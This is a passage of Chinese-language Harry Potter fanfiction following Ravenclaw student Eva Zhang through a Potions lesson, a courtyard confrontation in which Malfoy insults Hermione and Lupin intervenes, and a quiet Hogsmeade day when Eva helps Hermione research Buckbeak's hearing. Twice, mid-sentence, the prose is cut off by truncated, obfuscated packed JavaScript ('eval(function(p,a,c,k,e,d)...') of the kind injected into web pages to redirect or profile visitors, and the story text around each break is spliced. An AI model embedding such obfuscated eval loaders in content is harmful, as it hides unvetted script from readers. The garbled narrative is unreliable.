帕德玛点点头,眼里也闪着光,但语气更务实些:“我妈妈也说可以去,但叮嘱我一定要和秋姐或者你们一起,别单独乱跑。不过丽莎大概去不了,”她转向旁边的丽莎,“她得回家帮忙照看弟弟妹妹,是吧,丽莎?” 丽莎正小口啃着一块烤饼,闻言有些腼腆地笑了笑:“嗯,妈妈信里说了,家里忙,但是如果万圣节我想留在学校也好,安全。”她家孩子多,假期往往需要她分担家务。 曼蒂立刻安慰道:“没关系!下次还有机会!我会把蜂蜜公爵的新品每样都带点回来给你们尝尝!”她看向Eva,“Eva,你的呢?你妈妈……会同意吗?” Eva小口喝着燕麦粥,闻言轻轻摇了摇头。粥熬得很稠,加了切碎的苹果丁,温润微甜。“妈妈说要再观察一阵。而且,”她顿了顿,声音平静,“庞弗雷夫人建议我这学期尽量避免外出消耗。” 庞弗雷夫人在本周的监测后,特意强调了“静养”的重要性,霍格沃茨村的喧闹和往返步行显然不在建议之列。更深层的,是那份浅蓝色信件里沉甸甸的叮嘱。不参与,不涉险,求稳。 曼蒂“哦”了一声,脸上掠过一丝同情,但很快被自己的兴奋冲淡:“那你就好好在城堡休息!我保证带最棒的糖回来!” 格兰芬多长桌那边动静更大。罗恩正挥舞着手里签好字的羊皮纸,向哈利炫耀韦斯莱夫人附赠的一小袋零花钱。哈利的笑容却有些勉强,他面前摆着一封厚厚的、印有猫头鹰徽章的信——显然是德思礼家寄来的。他拆都没拆,只是用手指无意识地捏着信封边缘,绿眼睛望着礼堂高高的天花板,那里正模拟着放晴后淡蓝色的天空。 赫敏坐在他们旁边,面前摊着《中级变形术指南》,羽毛笔悬在羊皮纸上,眼神却有些飘忽,显然也没完全看进去。 上午的课程是魔药课,与斯莱特林合上。地下教室比城堡其他部分更早感受到季节的寒意,阴冷的空气裹挟着干草药和陈年储藏罐的气味,钻进袍子缝隙。今天学习的是治疗疖子的简单药水,步骤不算复杂,但需要精准控制豪猪刺加入的时机和搅拌方向。按照惯例,拉文克劳和斯莱特林的学生各自分组,Eva依旧和帕德玛搭档。 斯内普教授像一只巨大的蝙蝠,无声地滑行在教室冰冷的石地板间。他照例用那种能将人冻结的语调快速念完步骤,几乎没有解释原理,便将时间留给学生们自行操作。他的目光冰冷地扫过全场,尤其在几个拉文克劳学生(包括Eva)的操作台附近停留,仿佛在评估他们是否因学院杯的旧事而懈怠。 Eva和帕德玛一组。她们小心地称量干荨麻和毒蛇牙,动作轻而稳。经过几周的适应,Eva已经能更清晰地感知到体内魔力的状态——它不再像开学初那样滞涩得如同冻结的河流,而是恢复了一种缓慢但稳定的流动感,像初春时节冰面下悄然融化的溪水。然而,那种深层的“空乏”依然存在,像一口井虽然重新渗水,但距离盈满还遥不可及。她能稳定地施展课堂要求的咒语,却不敢尝试任何需要凝聚心神或消耗过大的魔法。爷爷信里的叮嘱和庞弗雷夫人的警告,像两道无形的界线,框定了她施法的范围和强度。 当她们开始小心地将研磨好的毒蛇牙粉末加入坩埚时,教室另一侧传来一声沉闷的“噗嗤”声和短促的惊叫。 是斯莱特林那边的西奥多·诺特和他的搭档(一个Eva不太记得名字的斯莱特林男生)。不知是谁碰到了研钵,研磨中的河豚鱼胆粉末溅出了一些,落在他们自己的操作台上,发出轻微的腐蚀声,冒出难闻的气味。虽然范围不大,但足够引起小范围的混乱和斯内普教授的注意。 斯内普教授瞬间滑到他们桌旁,黑袍带起阴冷的风。他检查了一下溅出的粉末和受到轻微影响的坩埚边缘,脸色阴沉。 “操作台混乱,研钵放置不当。”他的声音像冰面裂开,“立刻清理,诺特,今晚七点,地窖,学习如何妥善处理危险材料。” 西奥多·诺特苍白的脸上没什么表情,只是点了点头,开始默不作声地清理。他的搭档脸色发白,手忙脚乱。 斯内普的目光冷冷地扫过整个教室,警告意味明显。然后,他的视线转向了拉文克劳这边,在Eva和帕德玛平稳运作的坩埚上停留了一瞬。药水呈现出稳定的、渐变的明黄色,气泡均匀。他的目光在Eva握着搅拌棒、稳定匀速动作的手腕上多停了一秒,黑眼睛里看不出情绪,随即面无表情地移开,继续巡视。 她收敛心神,专注于搅拌。药水在她的控制下,颜色逐渐向理想的澄澈明黄转变。 下课铃声在阴冷的地窖里显得格外清脆。学生们如蒙大赦,匆匆清理操作台,收拾东西离开。 “诺特真倒霉,”走上通往主堡的楼梯时,帕德玛小声说,“不过斯内普教授对自己学院的人也这么不留情面。” “他一视同仁地讨厌所有人,”曼蒂耸耸肩。 Eva听着朋友们的谈话,没有加入讨论。 午后的庭院被稀薄的阳光浸透,枫叶红得像抹了层釉,鲜艳得不真实。Eva和帕德玛、曼蒂从温室方向走来,靴子踩在碎石路上发出轻微的沙沙声。帕德玛想找一种用于草药课作业的特定苔藓,三人便朝着围墙边树木更茂密的一角走去。 庭院另一侧,靠近主楼入口的几株最茂盛的红枫下,传来了清脆的笑语声。秋·张和几个拉文克劳、赫奇帕奇的朋友正仰头看着枝头绚烂的叶子。塞德里克·迪戈里也在,他个子很高,微微踮脚就触到较低的枝桠,正小心地帮一个赫奇帕奇女生折下一小枝形状完美的红叶。 阳光透过稀疏的云层和枫叶的缝隙,在他们年轻的脸庞上投下斑驳跳动的光影。那笑声清脆,带着这个年纪特有的、仿佛能穿透秋日凉意的明亮,与Eva这边寻找苔藓的安静形成了鲜明对比。 哈利、罗恩和赫敏从城堡大门出来,似乎正争论着什么——隐约能听到“许可表”、“德思礼”之类的词。哈利的目光几乎是立刻就被枫树下那抹亮色吸引了。他愣愣地看着那个方向,脚步不自觉地慢了下来。秋·张站在最醒目的位置,黑发在微风里轻轻拂动,侧脸在红叶的映衬下显得格外柔和。她正仰头指着高处一片叶子对塞德里克说着什么,嘴角噙着笑意。 哈利的呼吸几不可察地滞了一下。罗恩顺着他的目光看去,咧开嘴,用手肘重重碰了哈利一下,脸上露出促狭的笑容,压低声音说了句什么。哈利猛地回过神,有些慌乱地收回视线,耳根却悄悄泛起了红,想假装看别处,目光却忍不住又飘回去。 就在这时,另一条小径传来靴子踩碎落叶的声响。 德拉科·马尔福带着克拉布和高尔走了过来。他穿着一身剪裁精良的银绿色长袍,脸色是一种缺乏血色的苍白,这苍白在红枫的映衬下甚至显得有些脆弱。他的左臂——不久前被巴克比克利爪划过的地方——即使隔着袍袖,也能看出动作比右手略微僵硬、迟缓一些。他的目光漫无目的地扫过庭院,习惯性地带着评估与挑剔。当他看到格兰芬多三人组,尤其是波特那副望着拉文克劳长椅方向呆头呆脑的样子时,习惯性的讥讽几乎就要脱口而出。 然而,下一秒,他顺着波特那近乎痴迷的目光,精准地落到了枫树下——落到了秋·张灿烂的笑脸上,以及她身边那个正在折树枝的迪戈里。 马尔福灰蓝色的眼睛微微眯起。波特在看秋·张?那个拉文克劳的找球手? 一丝混杂着诧异、鄙夷和某种更复杂情绪的神色掠过他苍白的脸。他当然知道秋·张,飞行技术不错,长得……也算可以。但波特?这感觉既荒谬又……让人莫名不快。父亲的信还在口袋里,字句冰冷地提醒他“维护声誉”、“观察反应”。而在所有需要观察的“反应”里,波特这副对着拉文克劳女生发傻的蠢样,无疑是最令人作呕又……刺眼的一种。 然后,几乎是同时,他的视线余光捕捉到了站在稍远处、靠近温室方向的另一小群人——Eva Zhang和她的两个朋友。她们正蹲在墙根查看苔藓,Eva侧对着这边,只能看见她专注的侧脸和垂下的黑发。 一个古怪的、连他自己都未曾预料的念头猛地撞进脑海:波特在看秋·张,那张……那个拉文克劳。那Eva Zhang呢?她和波特不是经常混在一起吗?密室、医疗翼……波特那些“冒险”里似乎总有她的影子。他们不是……? 这个突如其来的联想让他心头莫名一堵,像被什么细小却尖锐的东西刺了一下。巴克比克爪尖划过手臂的撕裂感、父亲信中冰冷的措辞、还有眼前波特这副令人火大的样子……所有这些东西混杂在一起,形成一股燥热涌上喉咙。他原本准备好的、针对波特不能去霍格莫德的嘲讽突然变得索然无味,甚至有点……不合时宜的蠢。 就在他这瞬间的怔愣和情绪翻涌时,赫敏似乎终于从自己的思绪里挣脱出来,注意到了哈利的异常和罗恩的挤眉弄眼,也看向了枫树下的秋·张。她的眉头皱得更紧了,但显然出于不同的原因。 而哈利,在罗恩的挤兑和赫敏疑惑的目光下,更加窘迫,干脆扭过头,假装对地上的一块鹅卵石产生了浓厚兴趣,只是泛红的耳朵暴露了他。 马尔福看着这一幕,心头那点莫名的烦躁突然找到了一个出口,转化成了另一种更熟悉、更尖锐的情绪。他扬起下巴,脸上重新挂起那种拖长的、刻意让人不适的笑容,抬步朝着格兰芬多三人组走去,克拉布和高尔笨拙地跟上。 “哟,看看这是谁——格兰芬多的名人三人组。”马尔福的声音不大不小,刚好能让周围不少人听见,包括枫树下的那群人,“在欣赏风景?还是……”他刻意停顿,目光在哈利依旧泛红的耳根和枫树下秋·张的方向来回扫视,灰蓝色的眼睛里闪着恶意的光,“在盘算着怎么在去不了霍格莫德的情况下,还能给某人留个好印象?” 哈利猛地抬起头,脸上的窘迫瞬间被恼怒取代,绿眼睛瞪向马尔福。“闭嘴,马尔福。” “怎么,被说中了?”马尔福慢悠悠地说,享受着对方的反应。他受伤的手臂在袍袖下隐隐作痛,这痛楚像火上浇油。“真可怜。连霍格莫德都去不了的救世主,拿什么吸引别人注意?靠你额头上那道疤?还是靠你那些……惊险刺激的住院经历?”他的目光意有所指地扫过Eva的方向,又迅速收回,像是不经意,但那语调里的恶毒却明明白白。 这话不仅戳哈利的痛处,更暗指了哈利过去那些牵连他人的冒险。赫敏的脸色变了,罗恩再次涨红了脸。 枫树下的谈笑声低了下去。秋·张和她的朋友们都转头看了过来,塞德里克皱起眉头,放下了手中的树枝。 Eva和帕德玛、曼蒂也听到了动静,从查看苔藓的地方直起身,望向对峙的中心。曼蒂担忧地抓住了Eva的袖子。 “至少哈利不会靠侮辱别人来吸引注意!”赫敏声音因愤怒而提高,镜片后的眼睛喷着火,“也不会因为自己违反规则受伤就去陷害一个善良的教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这里很热闹。” 卢平教授温和的声音响起。他从城堡方向缓步走来,穿着那件旧袍子,脸上带着淡淡的疲惫,但灰色的眼睛扫过现场时,自有一种沉稳的力量。他走到两拨人之间,恰好隔开了马尔福和哈利他们。 “马尔福先生,”卢平的声音平静无波,却带着不容置疑的严肃,“霍格沃茨严禁使用那个词。我想,斯莱特林扣十分,以及,今晚七点,我的办公室,我们需要谈谈关于尊重同学的基本原则。” 马尔福的下颌线绷紧了,灰蓝色的眼睛里闪过一丝不甘和懊恼(或许还有一丝对自己刚才失控的恼怒),但面对教授,他最终只是从鼻腔里发出一声短促的冷哼,没有争辩。 “波特先生,韦斯莱先生,请收起魔杖。”卢平转向哈利和罗恩,“在庭院里拔出魔杖对准同学,同样违反校规。格兰芬多各扣五分。” 哈利和罗恩不情愿地放下了魔杖,但眼睛依然怒视着马尔福。 “现在,”卢平教授看了看双方,目光也在周围围观的学生脸上扫过,最后似乎若有若无地在Eva平静的侧脸上停留了极短的一瞬,“如果没什么事,我想阳光不错,别浪费了。散了吧。” 马尔福狠狠地瞪了哈利一眼,目光又快速掠过秋·张(她正和塞德里克低声说着什么,眉头紧锁),最后,他的视线像被什么牵引着,再次落到Eva身上。她还是那样站着,仿佛刚才的冲突只是一阵无关紧要的风吹过。这次,他的目光在她脸上多停留了一秒,灰蓝色的眼底翻涌着复杂的情绪——未消的怒气、被处罚的憋闷、一丝难堪,还有那种挥之不去的、因她平静而生的烦躁。然后他猛地转身,袍角甩得猎猎作响,带着克拉布和高尔快步离开了庭院,方向却是朝着城堡深处,而非他之前来的小径。 哈利也拉起还在生气的罗恩和脸色苍白、身体微微发抖的赫敏,低声安慰着,朝另一个方向匆匆走去。经过枫树下时,他忍不住又看了一眼秋·张。秋正关切地望着赫敏离去的背影,感受到哈利的目光,她转回头,对上他的视线,轻轻点了点头,眼神里有安慰,也有一丝对刚才那番冲突的凝重。哈利心头一暖,但更多的还是尴尬和恼怒,赶紧移开目光,加快了脚步。 人群渐渐散开。枫树下的欢快气氛被彻底破坏了,秋和她的朋友们低声议论了几句,也转身离开了。 “梅林啊,”曼蒂小声惊呼,紧紧抓着Eva的手臂,“他怎么能……怎么能那么说赫敏!” 帕德玛脸色也很不好看,她看着赫敏他们离去的方向,低声说:“太过分了。赫敏一定难过死了。” Eva轻轻拍了拍曼蒂的手,示意她松开。她的目光追随着马尔福消失的城堡入口,那里只剩下晃动的门影。刚才他眼中那种超越寻常挑衅的、近乎崩裂的恶意,与记忆中某些画面重叠——魔药课上他抢走流液草时指尖的停顿和复杂眼神,更早之前……那些匿名礼物模糊的影子。 斯莱特林的心思像缠在一起的线团,表面的颜色鲜明,内里的纹路却混乱难解。 她收回视线,对两位朋友说:“我们先回塔楼吧。” 回拉文克劳塔楼的路上,曼蒂还在愤愤不平地小声咒骂马尔福。帕德玛则沉默着,眉头紧锁,显然还在为赫敏感到难过和愤怒。 Eva安静地走着。庭院里那抹曾经绚烂的红枫,此刻在渐斜的阳光下仿佛蒙上了一层灰翳。那个冰冷的词,像一枚肮脏的印章,粗暴地盖在了这个原本温和的秋日午后。 她想起赫敏苍白的脸和颤抖的嘴唇,想起哈利和罗恩紧绷的愤怒,也想起马尔福最后那个复杂难辨的眼神。 不参与。不表态。这是来自家人的告诫,是理智的选择。 但“守心为上”,不意味着对发生在眼前的恶意和伤害无动于衷。 她握了握袖中的魔杖,紫杉木的杖身传来温润的触感。然后,她松开手,继续平稳地向前走去。 万圣节前夕的霍格莫德周末,在一种混合着期待、些许阴霾和刚刚发生的、令人不快的冲突余韵中,终究还是到来了。而城堡里的某些暗流,似乎也随着这个午后发生的事,变得愈发清晰而冰冷。 73.阴影下的午后 万圣节前夕的早晨,空气里带着霜气,但城堡里的气氛比天气更冷。 经过昨天庭院里那场冲突,“泥巴种”这个词像一块肮脏的破布,被撕开后,脓液的气味就顽固地滞留在走廊里。Eva和帕德玛走向礼堂时,能清晰地感觉到那些迅速扫过又移开的目光,以及压低的、含义不明的窃窃私语。 “就是她……拉文克劳的那个,当时就在旁边……” “……张?听说她和格兰杰关系还行?” “也没见她说什么……就看着……” “……东方人嘛,可能不懂……” 声音很轻,但足够飘进耳朵。帕德玛的脸色变得不太好看,挽着Eva的手臂紧了紧。曼蒂今天没和她们一起——她还留在寝室确认霍格莫德的最后计划。少了曼蒂惯常的活泼声音,沉默就显得格外突出。 Eva的表情没什么变化,步伐依旧平稳。但只有她自己知道,那些话语像细小的沙粒,硌在心头。她能清楚地分辨出那些目光里的成分:好奇、审视、一丝不易察觉的失望,或许还有事不关己的疏离。昨天冲突结束时,她选择平静离开,理智上知道这是最符合家人告诫和个人状态的选择,但情感上……赫敏瞬间苍白的脸和颤抖的嘴唇,此刻清晰地浮现在眼前。 “他们怎么能那么说!”帕德玛终于忍不住,在快到礼堂门口时低声愤慨道,“又不是你的错!马尔福那种人……” “我知道。”Eva轻声打断她,声音平静,但帕德玛听出了一丝罕见的紧绷。Eva不是木头,她只是习惯了将很多东西压在平静的水面之下。 礼堂里的气氛比走廊更显分裂。获得霍格莫德许可的学生们聚在一起,兴奋地讨论着行程,努力冲淡昨日事件的阴影;而其他人则或多或少带着些沉闷。格兰芬多长桌那边,气氛明显凝重。 赫敏独自坐在长桌中段,面前摊着一本厚厚的书,但她的目光并没有聚焦在书页上。她坐得笔直,下巴微微抬起,那是一种防御的姿态。当有人经过或目光扫过时,她会立刻更专注地盯向书本,指尖却无意识地捻着羊皮纸的边缘。她没有和哈利、罗恩坐在一起,那两人坐在稍远些的位置,正皱着眉头低声说着什么,脸上还残留着未消的怒火。 哈利时不时抬眼看向赫敏的方向,绿眼睛里混杂着担忧。他看到Eva走进礼堂,目光在她脸上停留了一瞬——不是责备,似乎是在确认她是否安好,显然也是听说了各种流言。Eva对上他的视线,轻轻点了点头。哈利微微颔首,算是回应,但那眉头依然紧锁着,显然还在为昨天的事和赫敏的状态担心。 罗恩则显得有些暴躁,手里的叉子用力戳着盘子里的香肠,仿佛那是马尔福的脸,嘴里嘟囔着:“……等我去霍格莫德非买点粪弹不可……” 斯莱特林长桌那边,气氛同样微妙。 德拉科·马尔福坐在惯常的位置,右臂的绷带换成了更轻薄、与校袍同色的银绿色固定带,姿态刻意地从容。他正慢条斯理地往烤面包上涂抹黄油,动作精准得像在进行某种仪式。潘西·帕金森坐在他旁边,已经恢复了往日的做派,正对着一面小镜子整理鬓角,声音不高不低地说着关于霍格莫德新开的那家巫师服饰店的传闻,似乎完全不受昨日风波影响。 但当有人提及“泥巴种”或“格兰杰”时,马尔福切面包的动作会极其短暂地停顿一下,刀尖在瓷盘上留下一个几不可察的划痕。他的目光偶尔会掠过拉文克劳长桌,在Eva平静的侧脸上停留一瞬,又迅速移开,灰蓝色的眼睛里情绪复杂难辨——有一丝未消的烦躁,或许还有一丝连他自己都不愿承认的、因昨日失控而被当众纠正后的难堪。西奥多·诺特安静地吃着早餐,仿佛一切与他无关,布雷司·沙比尼则饶有兴味地观察着长桌上下的暗流。 拉文克劳这边,议论声更低,但同样存在。几个四年级学生在远处交换着眼神,目光偶尔瞟向Eva这边,又迅速转开。安东尼·戈德斯坦推了推眼镜,对身边的同伴低声说了句什么,大概是关于“旁观者反应与道德距离”的分析。Eva能感觉到那些目光的重量,它们无声地质问:为什么不说话?为什么不站出来?不是朋友吗? 早餐在这种古怪的氛围中进行。丽莎很早就到礼堂了,她昨天没在那场风波现场,但显然听说了。“我早上在公共休息室就听到几个五年级在说……”她小声对帕德玛嘀咕,声音里带着不安和一丝对Eva处境的担忧,“他们说Eva当时就在旁边,什么也没做……但马尔福说的那种话,谁听了都会生气啊……” 帕德玛握了握丽莎的手,轻声但坚定地说:“Eva有自己的考虑。而且,卢平教授已经处理了。” Eva小口喝着温牛奶,燕麦粥里的苹果丁已经失去了温度。她听见了丽莎的话,没有辩驳。有些事实无法辩驳:她确实选择了沉默,选择了保全自身。爷爷教过她“守心为上”,但在那个特定时刻,“守心”与“仗义”之间的界限变得模糊而痛苦。赫敏当时颤抖的嘴唇和苍白的脸,此刻像一根细刺,扎在心头某个柔软的地方。 秋·张和她的朋友们从旁边经过,她们今天显然也要去霍格莫德,脸上带着轻快的笑容,正讨论着先去蜂蜜公爵还是三把扫帚。 “Eva,”秋停下脚步,用中文低声说,声音足够近旁的帕德玛和丽莎听见,但也保持着只有她们这个小圈子能听清的音量,“昨天……你还好吗?”她的目光里有关心,也有一种成年人的了然。秋是聪明人,肯定听到了那些议论,也明白Eva处境的微妙。 “我还好,谢谢秋。”Eva也用中文回答,声音平稳,但秋从她略微收紧的指节看出了些别的东西。 秋点了点头,似乎还想说什么,但看了看周围,最终只是轻轻拍了拍她的手臂,用更轻的声音说:“保护好自己。今天留校也好,安全。”话里有话,既是提醒城堡外可能的危险,或许也是对她处境的一种含蓄理解——并非赞同她的沉默,而是理解一个同样背负着“特殊”背景的人,在某些时刻不得不做出的权衡。说完,她便和朋友们离开了,深蓝色的袍角在晨光中划过一道利落的弧线。 帕德玛看着秋的背影,小声对丽莎说:“秋真好。” Eva“嗯”了一声,继续低头喝粥。 过了一会儿,曼蒂才匆匆赶来,脸上带着兴奋的红晕,头发显然精心梳理过,还别了一枚新的、会转动的小星星发卡。她挨着丽莎坐下,拿起几片面包,立刻开始和帕德玛讨论起即将到来的霍格莫德之行,声音因兴奋而微微发颤:“我做了好多功课!蜂蜜公爵的新品‘血腥棒棒糖’一定要买,还有那种会在嘴里跳来跳去的胡椒小顽童……哦,三把扫帚的黄油啤酒!我们可以坐在二楼靠窗的位置……” 帕德玛点头,努力让自己的声音听起来同样充满期待,以冲淡桌上那丝若有若无的沉闷:“我妈妈说可以买支新羽毛笔,如果‘文人居’有合适的话。丽莎,你要的滋滋蜜蜂糖我记下了。” 丽莎安静地听着,似乎因为曼蒂毫不掩饰的热情,情绪也好了一些。“帮我带点滋滋蜜蜂糖就好,”她轻声重复,“我弟弟妹妹最喜欢那个。还有……如果可以的话,一本笑话店的小册子?我想看看都有些什么。”她的家庭条件不允许太多额外开销,但一点小礼物总是可以的。 曼蒂用力点头:“包在我身上!” Eva安静地吃着燕麦粥。妈妈的信上周就到了,措辞温和但坚定——考虑到她仍在恢复期,以及城堡外摄魂怪巡逻的不确定性,这个学期暂时不签署霍格莫德许可。“等你身体完全稳定,明年春天我们再看。”信里这样写道。对此,Eva并无不满。她清晰地感知到体内那股“炁”的恢复是何等缓慢,像一口深井在旱季过后,只能靠点滴渗水艰难回填。庞弗雷夫人的定期监测和叮嘱言犹在耳。喧闹的村庄和往返步行确实不在静养计划内。况且,正如爷爷常说的,“静处亦可得真趣”。 “Eva,你真的不去吗?”曼蒂第三次确认,脸上写满了惋惜,“庞弗雷夫人也许可以通融……就一会儿?” Eva摇摇头,语气平稳,“我需要休息。而且,今天图书馆应该很安静。” 她顿了顿,补充道,“玩得开心,多带点糖回来。” 曼蒂看出她主意已定,也不再坚持,只是夸张地叹了口气:“好吧好吧,学霸的世界我不懂。不过你放心,蜂蜜公爵的每一样新品,我都会给你留一份的!” 早餐后,获得许可的学生们像潮水般涌向门厅,兴奋的交谈声和脚步声在城堡里回荡。费尔奇阴沉着脸站在大门边,手里拿着一份长长的名单,挨个核对姓名,时不时发出不满的嘟囔。 Eva和丽莎站在拉文克劳塔楼的窗前,看着队伍穿过庭院,走向通往霍格莫德的小路。秋日的阳光慷慨地洒下来,将学生们的背影拉得长长的,欢声笑语随风飘来,显得遥远而模糊。帕德玛和曼蒂走在拉文克劳队伍的中段,帕德玛回头朝塔楼窗口挥了挥手,曼蒂则兴奋地比划着什么。 “他们走了。”丽莎轻声说,语气里有一丝淡淡的羡慕,但更多的是平静的接受。 “嗯。”Eva点点头。城堡骤然安静下来,那种喧闹退潮后的寂静,像水落石出后露出的河床,带着一种空旷的凉意。 图书馆果然很安静。 平斯夫人像一只警惕的灰色猫头鹰,坐在高高的柜台后,锐利的目光扫过寥寥几个学生。Eva在靠窗的老位置坐下,摊开作业和参考书。阳光透过高高的彩窗,在书页上投下斑斓的光影。她强迫自己专注于芭布玲教授布置的关于如尼文基础组合的阅读材料,那些古老的符号和严谨的语法规则,像一道道坚固的堤坝,暂时拦住了心里翻涌的思绪。 写了一个多小时,她起身去书架间寻找一本关于中世纪如尼文应用的参考书。就在她踮脚试图够到上层书架上那本厚重的《如尼文与防御术:历史考据》时,眼角的余光瞥见了远处靠墙的一张小桌。 赫敏·格兰杰独自坐在那里。 她的面前摊着几本书,但羽毛笔搁在一旁,墨水瓶的盖子还紧紧盖着。她双手交叠放在桌上,背脊挺直,目光却望着窗外庭院里空荡荡的景色。那个姿势和早晨在礼堂时一模一样——防御性的、紧绷的、将自己与世界隔开的姿态。 Eva的手指在书脊上停顿了片刻。 她最终抽出了那本参考书,厚重的羊皮纸封面在掌心传来沉甸甸的触感。转身时,她的脚步几不可察地偏转了一个角度,不是直接回到自己的座位,而是经过赫敏所在的那排书架,绕了一个小圈。 经过赫敏桌边时,Eva的脚步放慢了些。赫敏似乎完全沉浸在自己的思绪里,没有注意到有人靠近。 Eva的目光快速扫过桌面。赫敏摊开的几本书都是厚重的法律典籍——《英国魔法部神奇动物管理控制司条例详解》《威森加摩审判程序手册》《魔法生物权利法案:历史与争议》。旁边还有一本翻开的笔记本,上面密密麻麻写满了字,Eva只来得及看清几个关键词:“巴克比克”、“听证会”、“证据链”、“程序正义”。 显然,赫敏在为巴克比克的事情做研究——试图从法律程序上找到帮助海格和那头鹰头马身有翼兽的办法。这很符合赫敏的行事风格:当情感受到伤害时,她会转向理性、转向书本、转向她最擅长的领域去寻找解决方案。 她停在赫敏身后大约两步远的地方,背对着她,假装在浏览书架上的书脊。图书馆里安静得能听见远处平斯夫人翻页的声音,还有窗外偶尔掠过的鸟鸣。 几秒钟后,Eva转过身,走到赫敏桌边,将手里那本厚重的《如尼文与防御术:历史考据》轻轻放在赫敏摊开的《威森加摩审判程序手册》旁边。 书放下的声音很轻,但足够让赫敏从沉思中惊醒。 赫敏猛地抬起头,棕色的眼睛里闪过一丝被打断的惊愕,随即迅速掩藏起来,恢复了那种礼貌而疏离的平静。“Eva?”她的声音有些干涩,但称呼依旧是熟悉的。 Eva在她对面的空椅子上坐下,将书推近了些。“第347页到352页,”她的声音很轻,“讲的是古代如尼文在魔法契约和誓言中的使用。里面提到几个中世纪案例,证人使用特定如尼文组合立誓后,证词会被魔法自动记录和验证——无法篡改,也无法否认。” 赫敏低头看了一眼那本书,又抬眼看向Eva,眼神复杂。她没有说话,似乎在等待什么。 Eva沉默了几秒。图书馆窗外的阳光斜射进来,在两人之间的桌面上投下一道明亮的界线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“卢平教授扣了他十分,”赫敏继续说,声音里多了一丝力量,“还让他今晚去办公室。虽然不多,但……是个开始。” “那是他应得的。”Eva说。 两人之间又沉默了一会儿,但气氛不再那么紧绷。远处,平斯夫人清了清嗓子,提醒某个学生不要弄出太大动静。 赫敏伸手翻开了Eva带来的那本书,找到第347页。她的目光落在那些密密麻麻的如尼文符号和法律案例上,眉头微微皱起,但这次是专注的、思考的皱眉。“无法篡改的证词记录……”她喃喃自语,羽毛笔已经拿在了手中,开始在羊皮纸上快速记着什么,“如果能在听证会上……威森加摩对这类古代魔法契约还是承认的……” 她没有说完,但Eva听懂了。赫敏在寻找任何可能帮助巴克比克的法律工具——而Eva带来的这本书,恰好提供了一个她之前没考虑过的角度。 “你今天不去霍格莫德?”赫敏问,没有抬头,笔尖继续在羊皮纸上移动。 “嗯,庞弗雷夫人的建议。” “我也……不太想去。”赫敏轻声说,但这次声音里少了些苦涩,多了些专注,“哈利和罗恩劝了我好久,但我……想先把这些材料整理完。”她指了指桌上那堆法律书籍,“听证会可能很快就要开始了。” Eva点点头,没有追问。她能理解赫敏此刻的选择——用行动来对抗无力感,用知识来寻求解决方案,这比单纯的情绪宣泄更有力量。 “如果你需要帮忙查资料,”Eva站起身,声音恢复了平时的平静,“我下午应该还会在这里。这章节,”她指了指那本书,“关于如尼文誓言的案例,也许真的有用。” 赫敏抬头看向她,眼神里的疏离终于完全消退了,取而代之的是一种疲惫的、但真实的笑意。“谢谢,Eva。”她说,这次声音真诚了许多,“真的。” “不客气。”Eva点点头,转身离开。 她没有回头,但能感觉到赫敏的目光在她背上停留了片刻,然后迅速落回书本和笔记上,笔尖划过羊皮纸的沙沙声重新响起,比之前更急促、更有力。 回到自己的座位时,Eva感觉到体内那股“炁”因为刚才那番交谈而有些波动——不是消耗,而是情绪波动带来的自然反应。她闭眼片刻,让呼吸平稳下来,然后重新翻开面前的如尼文材料。 大约二十分钟后,她抬头看了一眼赫敏的方向。赫敏已经完全沉浸在研究中,面前摊开了三本书,羽毛笔在几张羊皮纸间快速移动,不时对照着Eva带来的那本《如尼文与防御术:历史考据》。虽然肩膀的线条依旧有些紧绷,但至少,她重新投入了学习——那是赫敏·格兰杰最熟悉、也最安全的领域,而现在,这份专注有了明确的目标:帮助一个朋友(或者说,一个朋友的“朋友”)。 Eva收回目光,继续自己的作业。 下午的时间缓慢流淌。图书馆里的人越来越少,一些原本留校的学生也选择去庭院散步或回公共休息室休息,享受这难得的安静。Eva完成了如尼文作业的大部分,又开始看一本关于东方与西方魔法植物分类差异的书籍——这本书比早上那本《东方魔法植物简考》写得好多了,作者显然真的做过研究。 赫敏在四点左右离开了图书馆,怀里抱着那堆法律书籍和厚厚的笔记,对Eva点了点头算是告别。Eva也回以颔首。那扇因为昨天事件而暂时关闭的门,今天算是重新打开了一条缝——虽然还很窄,但至少能透进光了。 Eva又在图书馆待了半个多小时,才收拾东西离开。穿过寂静的走廊时,她能听到远处隐约传来的欢笑声——大概是那些从霍格莫德提前回来的学生在分享见闻。天色开始转暗,秋日的黄昏来得早,城堡里早早亮起了灯火。 回到拉文克劳塔楼,公共休息室里已经聚集了一些学生。曼蒂和帕德玛还没回来——她们应该还在霍格莫德。丽莎正和几个同样留校的低年级女生玩一种简单的巫师棋变种游戏,看到她进来,丽莎抬起头:“Eva!快来,我们缺一个人!” Eva摇摇头,微笑道:“你们玩吧,我有点累,先休息一会儿。” 她在靠窗的扶手椅里坐下,从书包里拿出那本关于魔法植物的书继续看。炉火噼啪作响,窗外的天色渐渐沉入一种深沉的靛蓝,远处禁林的轮廓变得模糊。 74.肖像与袭击 窗外的庭院空荡荡的。去霍格莫德的学生们还没回来,城堡安静得能听见远处猫头鹰棚屋传来的扑棱声。Eva看了会儿书,觉得眼睛有些发涩,便合上书本,望向窗外。 大约五点半,公共休息室的门被推开,曼蒂和帕德玛兴冲冲地回来了,脸上还带着外出的红晕,手里大包小包。 “Eva!丽莎!我们回来了!”曼蒂的声音充满兴奋,“蜂蜜公爵简直太棒了!我买了血腥棒棒糖、胡椒小顽童、会发光的椰子冰糕……哦还有这个!”她掏出一个包装精致的小盒子,“专门给你的,Eva!蜂蜜公爵的新品‘月光薄荷糖’,据说能让人心情平静!” 帕德玛也笑着递过来一个小纸袋:“文人居的新羽毛笔,我试过了,写起来很顺滑。还有丽莎,你要的滋滋蜜蜂糖和笑话店的小册子。” 